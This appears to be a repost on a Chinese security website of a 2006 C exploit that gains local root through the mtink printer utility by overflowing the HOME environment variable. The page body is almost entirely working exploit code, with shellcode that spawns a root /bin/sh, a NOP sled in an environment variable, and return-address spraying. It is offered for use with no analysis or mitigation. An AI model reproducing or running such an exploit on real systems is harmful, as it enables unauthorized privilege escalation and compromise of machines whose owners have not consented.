首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
/usr/bin/mtink local root exploit which overflows the HOME environment variable
来源:icesk@hhp-programming.net 作者:icesk 发布时间:2006-01-04  

//icesk! whats up

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

char shellcode[] =
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80"
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0"
"\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c"
"\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";

#define bsize 1400

char buffer[bsize];

char shel[2000];

char *get_sp() {
asm("movl %esp, %eax");
}

int main(int n, char **v) {
int i, off, align;

align = 0;

if (n > 1) off = atoi(v[1]); //nice code!

for(i=0;i<align;i++) buffer[i] = 0x41;
for(i=align;i<(bsize-4);i+=4) *(char **)&buffer[i] = get_sp()-off;

setenv("HOME", buffer, 1);

memset(shel, 0x90, 2000);

for(i=0;i<strlen(shellcode);i++) shel[(i+2000-strlen(shellcode))]=shellcode[i];
setenv("shellcode", shel, 1);

execl("/usr/bin/mtink", "/usr/bin/mtink", 0);
}




 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Mozilla Firefox InstallVersion
·CuteNews <=1.4.1 remote com
·aMSN Messenger DoS
·SCO Openserver 5.0.7 termsh lo
·Microsoft Windows Shimgvw.dll
·Valdersoft Shopping Cart versi
·linux 2.6.11 and below CPL 0 k
·WinRAR Buffer Overflow Vulnera
·Google's GMailSite script is s
·Windows XP/2003 Picture and Fa
·Internet Explorer Version 6.0.
·The Lizard Cart CMS version 1.
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved